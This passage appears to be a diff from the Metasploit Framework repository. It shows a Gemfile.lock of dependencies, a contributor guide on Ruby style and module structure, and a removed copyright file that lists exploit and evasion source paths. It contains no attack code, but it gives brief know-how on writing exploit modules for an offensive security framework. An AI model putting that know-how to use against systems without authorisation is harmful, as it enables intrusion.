|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
swagger-blocks
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
unix-crypt
|
||||
warden
|
||||
win32api
|
||||
windows_error
|
||||
winrm
|
||||
xdr
|
||||
xmlrpc
|
||||
zeitwerk
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (6.1.6)
|
||||
actionview (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
rack (~> 2.0, >= 2.0.9)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
activerecord (6.1.6)
|
||||
activemodel (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
activesupport (6.1.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
zeitwerk (~> 2.3)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
afm (0.2.2)
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.602.0)
|
||||
aws-sdk-core (3.131.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.320.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.69.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.57.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.114.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.5.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.10)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
diff-lcs (1.5.0)
|
||||
digest (3.1.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
ed25519 (1.3.0)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.10.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (2.21.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.3.0)
|
||||
faraday-net_http (~> 2.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (2.0.3)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.15.5)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
gssapi (1.3.1)
|
||||
ffi (>= 1.0.1)
|
||||
gyoku (1.4.0)
|
||||
builder (>= 2.1.2)
|
||||
rexml (~> 3.0)
|
||||
hashery (2.1.2)
|
||||
hrr_rb_ssh (0.4.2)
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.5)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.10.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.3.6)
|
||||
reline (>= 0.2.5)
|
||||
jmespath (1.6.1)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.2)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.18.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (4.0.4)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.8)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
net-ssh
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.94)
|
||||
metasploit_data_models (5.0.5)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model (>= 3.1)
|
||||
pg
|
||||
railties (~> 6.0)
|
||||
recog (~> 2.0)
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.18)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.0)
|
||||
minitest (5.16.1)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.5.3)
|
||||
multi_json (1.15.0)
|
||||
mustermann (1.1.1)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
net-protocol (0.1.3)
|
||||
timeout
|
||||
net-smtp (0.3.1)
|
||||
digest
|
||||
net-protocol
|
||||
timeout
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.13.6)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.1.2.0)
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.10.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.1)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.7)
|
||||
puma (5.6.4)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.4)
|
||||
rack-protection (2.2.0)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.4.3)
|
||||
loofah (~> 2.3)
|
||||
railties (6.1.6)
|
||||
actionpack (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.23)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.5.0)
|
||||
reline (0.2.5)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.8)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.28)
|
||||
rex-encoder (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.33)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.6)
|
||||
rex-mime (0.1.7)
|
||||
rex-text
|
||||
rex-nop (0.1.2)
|
||||
rex-arch
|
||||
rex-ole (0.1.7)
|
||||
rex-text
|
||||
rex-powershell (0.1.96)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.8)
|
||||
rex-text
|
||||
rex-registry (0.1.4)
|
||||
rex-rop_builder (0.1.4)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.40)
|
||||
rex-core
|
||||
rex-sslscan (0.1.7)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.38)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-rails (5.1.2)
|
||||
actionpack (>= 5.2)
|
||||
activesupport (>= 5.2)
|
||||
railties (>= 5.2)
|
||||
rspec-core (~> 3.10)
|
||||
rspec-expectations (~> 3.10)
|
||||
rspec-mocks (~> 3.10)
|
||||
rspec-support (~> 3.10)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.31.1)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.18.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.18.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.1.7)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.3)
|
||||
rubyzip (2.3.2)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (2.2.0)
|
||||
mustermann (~> 1.0)
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.4.4)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.10)
|
||||
timecop (0.9.5)
|
||||
timeout (0.3.0)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.4)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.2.0)
|
||||
unix-crypt (1.3.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.7.0)
|
||||
websocket-driver (0.7.5)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
windows_error (0.1.4)
|
||||
winrm (2.3.6)
|
||||
builder (>= 2.1.2)
|
||||
erubi (~> 1.8)
|
||||
gssapi (~> 1.2)
|
||||
gyoku (~> 1.0)
|
||||
httpclient (~> 2.2, >= 2.2.0.2)
|
||||
logging (>= 1.6.1, < 3.0)
|
||||
nori (~> 2.0)
|
||||
rubyntlm (~> 0.6.0, >= 0.6.3)
|
||||
xdr (3.0.3)
|
||||
activemodel (>= 4.2, < 8.0)
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.2)
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
factory_bot_rails
|
||||
fivemat
|
||||
memory_profiler
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry-byebug
|
||||
rake
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
rubocop
|
||||
ruby-prof (= 1.4.2)
|
||||
simplecov (= 0.18.2)
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
2.1.4
|
||||
@@ -0,0 +1,137 @@
|
||||
# $Id$
|
||||
|
||||
This file contains some brief instructions on contributing to the
|
||||
Metasploit Framework.
|
||||
|
||||
Code Style
|
||||
==========
|
||||
|
||||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
- Method names should always be lower_case and words separated by "_"
|
||||
- Variable names should be lower case with words separated by "_"
|
||||
- Don't depend on any external gems or libraries without talking to
|
||||
todb to resolve packaging and licensing issues
|
||||
|
||||
You can use the the "./tools/msftidy.rb" script to do some rudimentary
|
||||
checking for various violations.
|
||||
|
||||
|
||||
Code No-Nos
|
||||
===========
|
||||
|
||||
1. Don't print to standard output. Doing so means that users of
|
||||
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
|
||||
your output. You can use print_line to accomplish the same thing as
|
||||
puts.
|
||||
|
||||
2. Don't read from from standard input, doing so will make your code
|
||||
lock up the entire module when called from other interfaces. If you
|
||||
need user input, you can either register an option or expose an
|
||||
interactve session type specific for the type of exploit.
|
||||
|
||||
3. Don't use "sleep". It has been known to cause issues with
|
||||
multi-threaded programs on various platforms. Instead, we use
|
||||
"select(nil, nil, nil, <time>)" throughout the framework. We have
|
||||
found this works around the underlying issue.
|
||||
|
||||
4. Always use Rex sockets, not ruby sockets. This includes
|
||||
third-party libraries such as Net::Http. There are several very good
|
||||
reasons for this rule. First, the framework doesn't get notified on
|
||||
the creation of ruby sockets and won't know how to clean them up in
|
||||
case your module raises an exception without cleaning up after itself.
|
||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
||||
out on msf's proxy and ssl features. Msf includes many protocols
|
||||
already implemented with Rex and if the protocol you need is missing,
|
||||
porting another library to use them is straight-forward. See our
|
||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
||||
|
||||
5. When opening an IO stream, always force binary with "b" mode (or
|
||||
using IO#binmode). This not only helps keep Windows and non-Windows
|
||||
runtime environments consistent with each other, but also guarantees
|
||||
that files will be treated as ASCII-8BIT instead of UTF-8.
|
||||
|
||||
6. Don't use String#[] for a single character. This returns a Fixnum in
|
||||
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
|
||||
str[idx,1]
|
||||
which always returns a String. If you need the ASCII byte, unpack it like
|
||||
so:
|
||||
str[idx,1].unpack("C")[0]
|
||||
|
||||
7. Whenever possible, avoid using '+' or '+=' to concatenate strings.
|
||||
The '<<' operator is significantly faster. The difference will become
|
||||
even more apparent when doing string manipulation in a loop. The
|
||||
following table approximates the underlying implementation:
|
||||
Ruby Pseudo-C
|
||||
----------- ----------------
|
||||
a = b + c a = malloc(b.len+c.len+1);
|
||||
strcpy(a, b);
|
||||
memcpy(a+b.len, c, c.len);
|
||||
a[b.len + c.len] = '\0';
|
||||
a = b a = b;
|
||||
a << c a = realloc(a, a.len+c.len+1);
|
||||
memcpy(a+a.len, c, c.len);
|
||||
a[a.len + c.len] = '\0';
|
||||
Note that the original value of 'b' is lost in the second case. Care
|
||||
must be taken to duplicate strings that you do not want to modify.
|
||||
|
||||
8. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
|
||||
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
|
||||
for an overview of common and not-so-common Ruby version related gotchas.
|
||||
|
||||
9. Never, ever use $global variables. This applies to modules, mixins,
|
||||
and libraries. If you need a "global" within a specific class, you can
|
||||
use @@class_variables, but most modules should use @instance variables
|
||||
to store information between methods.
|
||||
|
||||
10. Do not define CONSTANTS within individual modules. This can lead to
|
||||
warning messages when the module is reloaded. Try to keep constants
|
||||
inside libraries and mixins instead.
|
||||
|
||||
|
||||
Creating New Modules
|
||||
====================
|
||||
|
||||
When creating a new module, the simplest way to start is to copy
|
||||
another module that uses the same protocol and modify it to your
|
||||
needs. If you're creating an exploit module, generally you'll want
|
||||
to edit the exploit() method. Auxiliary Scanner modules use one of
|
||||
run_host(), run_range(), or run_batch() instead of exploit().
|
||||
Non-scanner aux modules use run().
|
||||
|
||||
|
||||
Submitting Your Code
|
||||
====================
|
||||
|
||||
The process for submitting new modules via GitHub is documented here:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Working-with-the-Framework-Repo
|
||||
|
||||
This describes the process of forking, editing, and generating a
|
||||
pull request, and is the preferred method for bringing new modules
|
||||
and framework enhancements to the attention of the core Metasploit
|
||||
development team. Note that this process requires a GitHub account.
|
||||
|
||||
For modules, note that Author field is not automatic, and should be
|
||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
||||
developers can contact you with any questions.
|
||||
|
||||
Licensing
|
||||
=========
|
||||
By submitting code contributions to the Metasploit Project it is
|
||||
assumed that you are offering your code under the Metasploit License
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
are also fine. We specifically cannot include GPL code. LGPL code
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
accepted for modules.
|
||||
|
||||
When possible, such as aux and exploit modules, be sure to include
|
||||
your license designation in the file in the appropriate place.
|
||||
|
||||
@@ -1,891 +0,0 @@
|
||||
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: https://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2020, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
# at the end of this file.
|
||||
#
|
||||
# The copyright on this package is held by Rapid7, Inc.
|
||||
#
|
||||
# This license does not apply to third-party components detailed below.
|
||||
#
|
||||
# Last updated: 2013-Nov-04
|
||||
#
|
||||
|
||||
Files: data/exploits/mysql/lib_mysqludf_sys_*.so
|
||||
Copyright: 2007 Roland Bouman
|
||||
2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
|
||||
Files: external/source/byakugan/*
|
||||
Copyright: Lurene Grenier, 2009
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/ipwn/*
|
||||
Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
|
||||
2007 H D Moore <hdm [at] metasploit.com>
|
||||
License: GPL-2 and Artistic
|
||||
|
||||
Files: external/source/ReflectiveDLLInjection/*
|
||||
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/metsvc/*
|
||||
Copyright: 2007, Determina Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/tightvnc/*
|
||||
Copyright: 1999 AT&T Laboratories Cambridge.
|
||||
2000 Tridia Corp.
|
||||
2002-2003 RealVNC Ltd.
|
||||
2001-2004 HorizonLive.com, Inc.
|
||||
2000-2007 Constantin Kaplinsky
|
||||
2000-2009 TightVNC Group
|
||||
License: GPL-2
|
||||
|
||||
Files: external/source/unixasm/*
|
||||
Copyright: 2004-2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
License: BSD-4-clause
|
||||
|
||||
Files: external/source/vncdll/winvnc/*
|
||||
Copyright: 1999 AT&T Laboratories Cambridge.
|
||||
2000 Tridia Corp.
|
||||
2002-2003 RealVNC Ltd.
|
||||
2001-2004 HorizonLive.com, Inc.
|
||||
2000-2006 Constantin Kaplinsky.
|
||||
2000-2009 TightVNC Group
|
||||
License: GPL-2
|
||||
|
||||
Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/expect.rb
|
||||
Copyright: 2017 Yukihiro Matsumoto
|
||||
License: Ruby
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
|
||||
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
|
||||
Copyright: 2005 Michael Neumann
|
||||
License: BSD-3-clause or Ruby
|
||||
|
||||
Files: lib/rabal/*
|
||||
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
|
||||
License: Ruby
|
||||
|
||||
Files: lib/rbmysql.rb lib/rbmysql/*
|
||||
Copyright: 2009 tommy
|
||||
License: Ruby
|
||||
|
||||
Files: lib/snmp.rb lib/snmp/*
|
||||
Copyright: 2004, David R. Halliday
|
||||
License: Ruby
|
||||
|
||||
Files: lib/windows_console_color_support.rb
|
||||
Copyright: 2011 Michael 'mihi' Schierl
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: lib/zip.rb lib/zip/*
|
||||
Copyright: 2002-2004, Thomas Sandergaard
|
||||
License: Ruby
|
||||
|
||||
Files: modules/payloads/singles/windows/speak_pwned.rb
|
||||
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
Files: data/jtr/*
|
||||
Copyright: Copyright 1996-2013 by Solar Designer
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
|
||||
Copyright: 2011 Jon Bringhurst
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
|
||||
Copyright: 2020 Johnny Shaw
|
||||
License: MIT
|
||||
|
||||
Files: exteneral/source/exploits/CVE-2022-26904/*
|
||||
Copywrite: 2022 Abdelhamid Naceri
|
||||
License: MIT
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
.
|
||||
Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
.
|
||||
Redistributions in binary form must reproduce the above copyright notice, this
|
||||
list of conditions and the following disclaimer in the documentation and/or
|
||||
other materials provided with the distribution.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED BY {{THE COPYRIGHT HOLDERS AND CONTRIBUTORS}} "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL {{THE COPYRIGHT HOLDER OR CONTRIBUTORS}} BE
|
||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
|
||||
GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: BSD-3-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
.
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
.
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
.
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: BSD-4-clause
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. All advertising materials mentioning features or use of this software
|
||||
must display the following acknowledgement:
|
||||
This product includes software developed by the <organization>.
|
||||
4. Neither the name of the <organization> nor the
|
||||
names of its contributors may be used to endorse or promote products
|
||||
derived from this software without specific prior written permission.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED BY <COPYRIGHT HOLDER> ''AS IS'' AND ANY
|
||||
